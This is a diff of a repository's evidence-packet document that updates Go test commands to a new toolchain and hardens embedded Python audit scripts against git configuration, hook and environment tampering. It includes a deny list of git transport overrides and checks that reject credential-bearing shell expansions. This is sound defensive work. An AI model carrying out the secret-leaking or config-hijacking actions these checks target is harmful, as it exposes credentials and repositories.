a79b7fa367d8eb1e7fe4ee4ef637696518946dab6f2f25410f6e04bfba137298 drain-pr72-race experiments/g01-scaleset:./livecanary default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -race ./livecanary -run '^(TestBaselineAcquireTargetIsActionsOnly|TestPinnedSDKDrain.*|TestDriverDrainThroughPinnedSDKAndPollHook|TestDrainListenerWithdrawsWhilePollResponseIsHeld|TestDrainCancellationStopsBeforeReleasingHeldResponse)$' -count=1 -v -timeout=180s terminal_heavy_tests='^TestPairedTerminal(FinalResultCapacity|PendingChildCapacity|EligibilityUsesFreshExactFacts|CapturedAcknowledgementCancellation|MissingAcknowledgementsAndPostchecks)$' terminal_remainder_skip='^TestPairedTerminal(FinalResultCapacity|PendingChildCapacity|EligibilityUsesFreshExactFacts|CapturedAcknowledgementCancellation|MissingAcknowledgementsAndPostchecks|Actual(Controller|Worker)SyncFailures|PostIntent(JournalIdentity|AuthorityBoundaries)|ClosedReplayActualFile|WorkerReceiptSurvivesControllerWriteFailure|FixtureStorageFailure)$' terminal_storage_tests='^TestPairedTerminal(Actual(Controller|Worker)SyncFailures|PostIntent(JournalIdentity|AuthorityBoundaries)|ClosedReplayActualFile|WorkerReceiptSurvivesControllerWriteFailure|FixtureStorageFailure)$' -go_test_checked 22 f3efc29451112b27d2cb590763612790db48f05b54718b1e023196ead6625222 paired-collection experiments/g01-scaleset:./livecanary g01_pair_fixture+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -tags=g01_pair_fixture -race -count=1 -timeout=120s ./livecanary -run '^TestPaired' -skip '^TestPairedTerminal' -go_test_checked 106 bdeef850cfe820297e3896477219f0fcf90046bc30fb0bd454bfd0f8fe6db2ff paired-all-except experiments/g01-scaleset:./livecanary g01_pair_fixture+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -tags=g01_pair_fixture -race -count=1 -timeout=120s ./livecanary -skip '^TestPaired' -go_test_checked 24 b7f253f33da157adba67fe4312eddb0ee90172e24f46d4f48502890ab5f080f5 paired-worker experiments/g01-scaleset:./liveworker g01_pair_fixture+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -tags=g01_pair_fixture -race -count=1 -timeout=120s ./liveworker -run '^TestPaired' -go_test_checked 5 9e1a2e099c0fc48bbbd83dd0dc798d3c954910cd150b210037741b2c70211952 paired-heavy experiments/g01-scaleset:./livecanary g01_pair_fixture+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -tags=g01_pair_fixture -race -count=1 -timeout=120s ./livecanary -run "$terminal_heavy_tests" -go_test_checked 15 5e5dd1ee80d3d303271ab17b17aed22d5084e15684bcbe9f31152c1092ec1f73 paired-remainder experiments/g01-scaleset:./livecanary g01_pair_fixture+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -tags=g01_pair_fixture -race -count=1 -timeout=120s ./livecanary -run '^TestPairedTerminal' -skip "$terminal_remainder_skip" -go_test_checked 6 458f77f55209a59338a63bfc27697d85ebe5e0c3c7d1b959a0b56b2527f3ead5 paired-storage experiments/g01-scaleset:./livecanary g01_pair_fixture+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go test -C experiments/g01-scaleset -tags=g01_pair_fixture -race -count=1 -timeout=120s ./livecanary -run "$terminal_storage_tests" -go_vet_checked vet-livecanary experiments/g01-scaleset:./livecanary g01_pair_fixture+norace+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go vet -C experiments/g01-scaleset -tags=g01_pair_fixture ./livecanary -go_vet_checked vet-liveworker experiments/g01-scaleset:./liveworker g01_pair_fixture+norace+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 \ - GOTOOLCHAIN=go1.26.8 go vet -C experiments/g01-scaleset -tags=g01_pair_fixture ./liveworker +go_test_checked 22 f3efc29451112b27d2cb590763612790db48f05b54718b1e023196ead6625222 paired-collection experiments/g01-scaleset:./livecanary g01_pair_fixture+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -tags=g01_pair_fixture -race -count=1 -timeout=120s ./livecanary -run '^TestPaired' -skip '^TestPairedTerminal' +go_test_checked 106 bdeef850cfe820297e3896477219f0fcf90046bc30fb0bd454bfd0f8fe6db2ff paired-all-except experiments/g01-scaleset:./livecanary g01_pair_fixture+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -tags=g01_pair_fixture -race -count=1 -timeout=120s ./livecanary -skip '^TestPaired' +go_test_checked 24 b7f253f33da157adba67fe4312eddb0ee90172e24f46d4f48502890ab5f080f5 paired-worker experiments/g01-scaleset:./liveworker g01_pair_fixture+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -tags=g01_pair_fixture -race -count=1 -timeout=120s ./liveworker -run '^TestPaired' +go_test_checked 5 9e1a2e099c0fc48bbbd83dd0dc798d3c954910cd150b210037741b2c70211952 paired-heavy experiments/g01-scaleset:./livecanary g01_pair_fixture+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -tags=g01_pair_fixture -race -count=1 -timeout=120s ./livecanary -run "$terminal_heavy_tests" +go_test_checked 15 5e5dd1ee80d3d303271ab17b17aed22d5084e15684bcbe9f31152c1092ec1f73 paired-remainder experiments/g01-scaleset:./livecanary g01_pair_fixture+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -tags=g01_pair_fixture -race -count=1 -timeout=120s ./livecanary -run '^TestPairedTerminal' -skip "$terminal_remainder_skip" +go_test_checked 6 458f77f55209a59338a63bfc27697d85ebe5e0c3c7d1b959a0b56b2527f3ead5 paired-storage experiments/g01-scaleset:./livecanary g01_pair_fixture+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go test -C experiments/g01-scaleset -tags=g01_pair_fixture -race -count=1 -timeout=120s ./livecanary -run "$terminal_storage_tests" +go_vet_checked vet-livecanary experiments/g01-scaleset:./livecanary g01_pair_fixture+norace+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go vet -C experiments/g01-scaleset -tags=g01_pair_fixture ./livecanary +go_vet_checked vet-liveworker experiments/g01-scaleset:./liveworker g01_pair_fixture+norace+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.9 \ + GOTOOLCHAIN=go1.26.9 go vet -C experiments/g01-scaleset -tags=g01_pair_fixture ./liveworker ``` The packet also audits every future shell `go test` selector prescription @@ -4740,7 +4832,7 @@ from pathlib import Path prior_head = "22a2923033c875ddd4f755774f79f60b94649449" previous = subprocess.check_output( - ["git", "show", f"{prior_head}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{prior_head}:docs/evidence/g01-recovery-packet.md"], text=True, ) wrapper_start = previous.index("\nimport hashlib\n", previous.index("go_test_checked()")) + 1 @@ -4896,7 +4988,7 @@ from pathlib import Path prior_head = "22a2923033c875ddd4f755774f79f60b94649449" previous = subprocess.check_output( - ["git", "show", f"{prior_head}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{prior_head}:docs/evidence/g01-recovery-packet.md"], text=True, ) wrapper_start = previous.index("\nimport hashlib\n", previous.index("go_test_checked()")) + 1 @@ -5063,7 +5155,11 @@ import subprocess previous = subprocess.check_output( [ - "git", "show", + "/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", + "-P", "-c", "core.fsmonitor=false", "-c", + "core.hooksPath=/dev/null", "show", "36ec84b27c934a25484b0a5391af0a20c7643912:docs/evidence/g01-recovery-packet.md", ], text=True, @@ -5120,8 +5216,11 @@ import subprocess prior_head = "ec5eb8087420bbbbb2a8ccf5c5df190b3c644895" previous = subprocess.check_output( [ - "git", - "show", + "/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", + "-P", "-c", "core.fsmonitor=false", "-c", + "core.hooksPath=/dev/null", "show", f"{prior_head}:docs/evidence/g01-recovery-packet.md", ], text=True, @@ -5196,8 +5295,11 @@ from tempfile import TemporaryDirectory starting_head = "3bc8445567fe68cc355cf3f88f0c962a41e9cad5" previous = subprocess.check_output( [ - "git", - "show", + "/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", + "-P", "-c", "core.fsmonitor=false", "-c", + "core.hooksPath=/dev/null", "show", f"{starting_head}:docs/evidence/g01-recovery-packet.md", ], text=True, @@ -5326,8 +5428,11 @@ from pathlib import Path starting_head = "3bc8445567fe68cc355cf3f88f0c962a41e9cad5" previous = subprocess.check_output( [ - "git", - "show", + "/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", + "-P", "-c", "core.fsmonitor=false", "-c", + "core.hooksPath=/dev/null", "show", f"{starting_head}:docs/evidence/g01-recovery-packet.md", ], text=True, @@ -5448,8 +5553,11 @@ import subprocess starting_head = "3bc8445567fe68cc355cf3f88f0c962a41e9cad5" previous = subprocess.check_output( [ - "git", - "show", + "/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", + "-P", "-c", "core.fsmonitor=false", "-c", + "core.hooksPath=/dev/null", "show", f"{starting_head}:docs/evidence/g01-recovery-packet.md", ], text=True, @@ -5499,7 +5607,32 @@ import unicodedata from pathlib import Path from urllib.parse import unquote -files = subprocess.check_output(["git", "ls-files", "*.md"], text=True).splitlines() +git_query_environment = { + "GIT_CONFIG_NOSYSTEM": "1", + "GIT_CONFIG_GLOBAL": "/dev/null", + "GIT_CONFIG_SYSTEM": "/dev/null", + "GIT_ATTR_NOSYSTEM": "1", + "GIT_CONFIG_COUNT": "2", + "GIT_CONFIG_KEY_0": "core.fsmonitor", + "GIT_CONFIG_VALUE_0": "false", + "GIT_CONFIG_KEY_1": "core.hooksPath", + "GIT_CONFIG_VALUE_1": "/dev/null", +} + +def git_command(arguments): + return [ + "/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", + "-P", "-c", "core.fsmonitor=false", "-c", + "core.hooksPath=/dev/null", *arguments, + ] + +files = subprocess.check_output( + git_command(["ls-files", "--", "*.md"]), + env=git_query_environment, + text=True, +).splitlines() link = re.compile(r"(?") if target.startswith(("http://", "https://", "mailto:")): continue if target.startswith("#"): - path, fragment = source, target[1:] + fragment = target[1:] + target = source.name else: target, separator, fragment = target.partition("#") if Path(target).is_absolute() or target.startswith(("~", "$HOME", "${HOME}")): errors.append(f"{name}: absolute local link target is not allowed {target}") continue - path = (source.parent / target).resolve() fragment = fragment if separator else None - try: - path.relative_to(repository_root) - except ValueError: - errors.append(f"{name}: local link target escapes repository {target}") - continue + path = (source.parent / target).resolve() + errors.append(f"{name}: local link target escapes repository {target}") + try: + path.relative_to(repository_root) + except ValueError: + continue + errors.pop() checked += 1 if not path.is_file(): errors.append(f"{name}: missing target {target}") - elif fragment and slug(fragment) not in anchors(path): + elif fragment and slug(fragment) not in anchors(path.read_text(encoding="utf-8")): errors.append(f"{name}: missing anchor {path}#{fragment}") if errors: raise SystemExit("\n".join(errors)) @@ -5679,7 +5827,7 @@ the later packet fix has the same SHA, and it must not be combined with the historical `5979...` snapshot block or the earlier `82ee...` head block as one passing checkout. -```sh +```text set -euo pipefail export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null packet_correction_head='6b1535ee7b6f08582ff162eca30f1e4294dbf32b' @@ -5702,7 +5850,7 @@ existing packet-correction exact-head audit: passed; HEAD=6b1535ee7b6f08582ff162 ### Stable checkout and selector audit -```sh +```text set -euo pipefail export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null git rev-parse HEAD | grep -Fxq "5979b7d722f3bf8e24404912f9b1f3e888d0828d" @@ -5744,7 +5892,7 @@ asserted in one passing checkout. It was run before editing and is retained as historical provenance; after this packet-only fix is pushed, both literals must fail closed and the new pushed head must be verified independently: -```sh +```text set -euo pipefail export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null git rev-parse HEAD | grep -Fxq "82eeef99f9bb5ec85c8cb3bea7a9a5947e8df26a" @@ -5825,7 +5973,13 @@ from pathlib import Path git_query_deadline_seconds = 30 git_query_termination_grace_seconds = 5 git_query_output_max_bytes = 64 * 1024 +git_query_packet_blob_output_max_bytes = 8 * 1024 * 1024 git_query_stream_chunk_bytes = 4096 +issue79_reviewed_evidence_paths = ( + "docs/evidence/g01-recovery-packet.md", + "scripts/evidence_packet/issue79_regression_test.py", + "docs/decisions/0004-offline-python-ast-regression-tooling.md", +) def close_git_query_streams(process): @@ -5962,7 +6116,19 @@ def capture_git_query_output(process, git_command, output_limit, input_bytes=Non selector.close() -def run_bounded_git_query(command, *, cwd, env, input_bytes=None): +def run_bounded_git_query( + command, + *, + cwd, + env, + input_bytes=None, + output_limit=git_query_output_max_bytes, +): + if output_limit not in { + git_query_output_max_bytes, + git_query_packet_blob_output_max_bytes, + }: + raise SystemExit("Git query output budget was not reviewed") process = None try: process = subprocess.Popen( @@ -5976,7 +6142,7 @@ def run_bounded_git_query(command, *, cwd, env, input_bytes=None): ) try: stdout, stderr = capture_git_query_output( - process, command, git_query_output_max_bytes, input_bytes + process, command, output_limit, input_bytes ) except subprocess.TimeoutExpired: terminate_git_query_group(process) @@ -5999,7 +6165,14 @@ def run_bounded_git_query(command, *, cwd, env, input_bytes=None): def git_query(arguments): return [ - "git", + "/usr/bin/env", + "-i", + "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", + "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", + "/usr/bin/git", + "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", @@ -6009,6 +6182,56 @@ def git_query(arguments): ] +def run_bounded_git_packet_blob_query(blob_spec, *, cwd, env): + """Capture only a reviewed issue #79 evidence source under its separate cap.""" + expected_paths = { + "docs/evidence/g01-recovery-packet.md", + "scripts/evidence_packet/issue79_regression_test.py", + "docs/decisions/0004-offline-python-ast-regression-tooling.md", + } + if not isinstance(blob_spec, str) or ":" not in blob_spec: + raise SystemExit("Git evidence blob revision/path was malformed") + revision, path = blob_spec.split(":", 1) + if path not in expected_paths or not ( + revision == "HEAD" + or ( + len(revision) in {40, 64} + and all(character in "0123456789abcdefABCDEF" for character in revision) + ) + ): + raise SystemExit("Git evidence blob query was outside the reviewed revision/path") + command = git_query(["show", blob_spec]) + return run_bounded_git_query( + command, + cwd=cwd, + env=env, + output_limit=git_query_packet_blob_output_max_bytes, + ) + + +def require_packet_head_parity(intent_output, head_blob, worktree_bytes): + """Bind a reviewed issue #79 evidence path and bytes to its HEAD blob.""" + expected_paths = { + b"docs/evidence/g01-recovery-packet.md", + b"scripts/evidence_packet/issue79_regression_test.py", + b"docs/decisions/0004-offline-python-ast-regression-tooling.md", + } + if not isinstance(intent_output, bytes): + raise SystemExit("post-correction evidence intent output was not bytes") + records = intent_output.split(b"\0") + if records[-1] != b"" or len(records) != 2: + raise SystemExit("post-correction evidence intent output was malformed") + record = records[0] + if len(record) < 3 or record[1:2] != b" " or record[2:] not in expected_paths: + raise SystemExit("post-correction evidence index entry was missing or malformed") + if record[:1] in {b"S", b"s", b"h"}: + raise SystemExit("post-correction evidence has skip-worktree or assume-unchanged intent") + if not isinstance(head_blob, bytes) or not isinstance(worktree_bytes, bytes): + raise SystemExit("post-correction evidence byte comparison was not binary") + if head_blob != worktree_bytes: + raise SystemExit("post-correction evidence bytes differ from the current HEAD blob") + + git_transport_override_names = { "GIT_EXEC_PATH", "GIT_SSH", @@ -6064,11 +6287,13 @@ if git_http_tls_environment_overrides: "before authenticated remote parity: " + ", ".join(git_http_tls_environment_overrides) ) +git_child_environment_names = ("PATH", "LANG", "LC_ALL") +if "PATH" not in os.environ or not os.environ["PATH"]: + raise SystemExit("post-correction reviewed PATH is missing") git_environment = { - key: value - for key, value in os.environ.items() - if key not in git_environment_override_names - and not key.startswith(("GIT_CONFIG_KEY_", "GIT_CONFIG_VALUE_")) + key: os.environ[key] + for key in git_child_environment_names + if key in os.environ } git_environment.update( { @@ -6078,6 +6303,30 @@ git_environment.update( } ) +def require_git_invocation_root(invocation_root, env): + """Refuse status evidence if local Git config redirects the worktree.""" + expected_root = Path(invocation_root).resolve() + result = run_bounded_git_query( + git_query(["rev-parse", "--show-toplevel"]), + cwd=expected_root, + env=env, + ) + if result.returncode != 0 or result.stderr: + raise SystemExit("post-correction Git invocation-root query failed") + try: + root_output = result.stdout.decode("utf-8") + if not root_output.endswith("\n") or root_output.count("\n") != 1: + raise ValueError("Git top-level output was not one line") + actual_root = Path(root_output[:-1]).resolve() + except (OSError, RuntimeError, UnicodeDecodeError, ValueError): + raise SystemExit("post-correction Git invocation-root output was malformed") + if actual_root != expected_root: + raise SystemExit("post-correction Git top-level does not match invocation root") + return expected_root + +invocation_root = Path.cwd().resolve() +require_git_invocation_root(invocation_root, git_environment) + expected_origin_url = "https://github.com/1XP-AI/gh-runnerd.git" origin_result = run_bounded_git_query( git_query(["config", "--local", "--get-all", "remote.origin.url"]), @@ -6151,13 +6400,6 @@ if paths: _path, attribute, value = fields[index:index + 3] if attribute != b"filter" or value != b"unspecified": raise SystemExit("post-correction active Git filter attribute is not allowed") -status = run_bounded_git_query( - git_query(["status", "--porcelain=v1", "--untracked-files=all"]), - cwd=Path.cwd(), - env=git_environment, -) -if status.returncode != 0 or status.stderr or status.stdout.decode("utf-8").strip(): - raise SystemExit("post-correction worktree is not clean") local_result = run_bounded_git_query( git_query(["rev-parse", "HEAD"]), cwd=Path.cwd(), @@ -6166,6 +6408,50 @@ local_result = run_bounded_git_query( if local_result.returncode != 0 or local_result.stderr: raise SystemExit("post-correction local head query failed") local = local_result.stdout.decode("utf-8").strip() +for reviewed_path in issue79_reviewed_evidence_paths: + intent_result = run_bounded_git_query( + git_query(["ls-files", "-v", "-z", "--", reviewed_path]), + cwd=Path.cwd(), + env=git_environment, + ) + if intent_result.returncode != 0 or intent_result.stderr: + raise SystemExit("post-correction evidence intent-bit query failed") + reviewed_blob_result = run_bounded_git_packet_blob_query( + f"{local}:{reviewed_path}", + cwd=Path.cwd(), + env=git_environment, + ) + if reviewed_blob_result.returncode != 0 or reviewed_blob_result.stderr: + raise SystemExit("post-correction evidence HEAD blob query failed") + try: + if reviewed_path == "docs/evidence/g01-recovery-packet.md": + reviewed_worktree_bytes = Path( + "docs/evidence/g01-recovery-packet.md" + ).read_bytes() + elif reviewed_path == "scripts/evidence_packet/issue79_regression_test.py": + reviewed_worktree_bytes = Path( + "scripts/evidence_packet/issue79_regression_test.py" + ).read_bytes() + elif reviewed_path == "docs/decisions/0004-offline-python-ast-regression-tooling.md": + reviewed_worktree_bytes = Path( + "docs/decisions/0004-offline-python-ast-regression-tooling.md" + ).read_bytes() + else: + raise SystemExit("post-correction evidence path was not reviewed") + except OSError: + raise SystemExit("post-correction evidence worktree bytes could not be read") + require_packet_head_parity( + intent_result.stdout, + reviewed_blob_result.stdout, + reviewed_worktree_bytes, + ) +status = run_bounded_git_query( + git_query(["status", "--porcelain=v1", "--untracked-files=all"]), + cwd=Path.cwd(), + env=git_environment, +) +if status.returncode != 0 or status.stderr or status.stdout.decode("utf-8").strip(): + raise SystemExit("post-correction worktree is not clean") remote_environment = { key: value for key, value in git_environment.items() @@ -6211,7 +6497,7 @@ mismatch. It runs from the repository root with literal subprocess arguments, so a missing or renamed build-tagged alternative cannot produce a false green. The `-tags=osusergo` case is intentionally included in that fail-closed set. -```sh +```text set -euo pipefail export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null # g01-safe-python-heredoc: reviewed synthetic Go test argv @@ -6427,7 +6713,7 @@ could affect the list, and no test body ran. The declaration consistency check also avoids self-referential line numbers and uses immutable source/tree assertions plus quiet presence/absence checks: -```sh +```text set -euo pipefail export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null git rev-parse 95cd9210620c54e098ecbe0df1217af1659f0c74 | grep -Fxq "95cd9210620c54e098ecbe0df1217af1659f0c74" @@ -6681,10 +6967,11 @@ Go files selected by the exact build tags, and rejects any active `func init` before source derivation. Because selector validation parses those source files instead of invoking `go test -list`, effectful package-level variable initializers and imported initialization paths cannot run before validation; -package-source changes still require a new source-tree review. The guard audit -was read-only and did not run test bodies or live resources: +package-source changes still require a new source-tree review. The next +block is the historical pre-isolation package-init audit, retained as inert +source data with its original output; it is not a current prescription: -```sh +```text set -euo pipefail export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null # g01-safe-python-heredoc: reviewed synthetic Go metadata argv @@ -6881,7 +7168,7 @@ from tempfile import TemporaryDirectory prior_head = "22a2923033c875ddd4f755774f79f60b94649449" previous = subprocess.check_output( - ["git", "show", f"{prior_head}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{prior_head}:docs/evidence/g01-recovery-packet.md"], text=True, ) wrapper_start = previous.index("\nimport hashlib\n", previous.index("go_test_checked()")) + 1 @@ -6945,7 +7232,7 @@ namespace = {"label": "synthetic-init-boundary"} exec(compile(wrapper[helper_start:helper_end], "", "exec"), namespace) prior_head = "22a2923033c875ddd4f755774f79f60b94649449" previous = subprocess.check_output( - ["git", "show", f"{prior_head}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{prior_head}:docs/evidence/g01-recovery-packet.md"], text=True, ) prior_start = previous.index("\nimport hashlib\n", previous.index("go_test_checked()")) + 1 @@ -7036,7 +7323,7 @@ RED source-name gap: prior 22a2923033c875ddd4f755774f79f60b94649449 omitted Test After staging only this packet file, the final local checks were: -```sh +```text set -euo pipefail export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null git -P diff --cached --name-only | grep -Fxq "docs/evidence/g01-recovery-packet.md" @@ -7191,6 +7478,7 @@ loader_assignment_names = { reviewed_shell_path = "/opt/homebrew/bin:/usr/bin:/bin" shell_owned_path_variables = set() shell_pending_owned_bindings = set() +shell_sensitive_variable_names = set() def reviewed_loader_assignment(token): @@ -7243,20 +7531,86 @@ def credential_environment_name(name): ) shell_parameter = re.compile( - r"\$\{([A-Za-z_][A-Za-z0-9_]*)(?:[^}]*)\}|\$([A-Za-z_][A-Za-z0-9_]*)" + r"\$\{([A-Za-z_][A-Za-z0-9_]*)(?:[^}]*(?:\}|$))|\$([A-Za-z_][A-Za-z0-9_]*)" ) def shell_sensitive_parameter_violation(tokens): """Reject credential-bearing shell parameter expansions in any argument.""" for token in tokens: + if "${!" in token: + return "indirect shell parameter expansion is not allowed" + if re.search(r"\$\{[^}]*@P\}", token): + return "Bash prompt-expansion transformation is not allowed" for match in shell_parameter.finditer(token): name = match.group(1) or match.group(2) - if credential_environment_name(name): + if ( + credential_environment_name(name) + or name in shell_sensitive_variable_names + ): return ( "credential-bearing shell parameter expansion is not allowed" ) return None +def shell_record_sensitive_assignments(tokens, preserve_existing=False): + """Track credential aliases across assignment-only shell commands.""" + for token in tokens: + if not assignment.fullmatch(token): + continue + name, value = token.split("=", 1) + sensitive = any( + credential_environment_name(match.group(1) or match.group(2)) + or (match.group(1) or match.group(2)) + in shell_sensitive_variable_names + for match in shell_parameter.finditer(value) + ) + if sensitive: + shell_sensitive_variable_names.add(name) + elif not preserve_existing: + shell_sensitive_variable_names.discard(name) + +def shell_git_config_assignment_violation(tokens): + """Keep the reviewed Git child configuration intact across a shell fence.""" + for token in tokens: + if not assignment.fullmatch(token): + continue + name = token.split("=", 1)[0] + if name.startswith("GIT_CONFIG_") and token not in 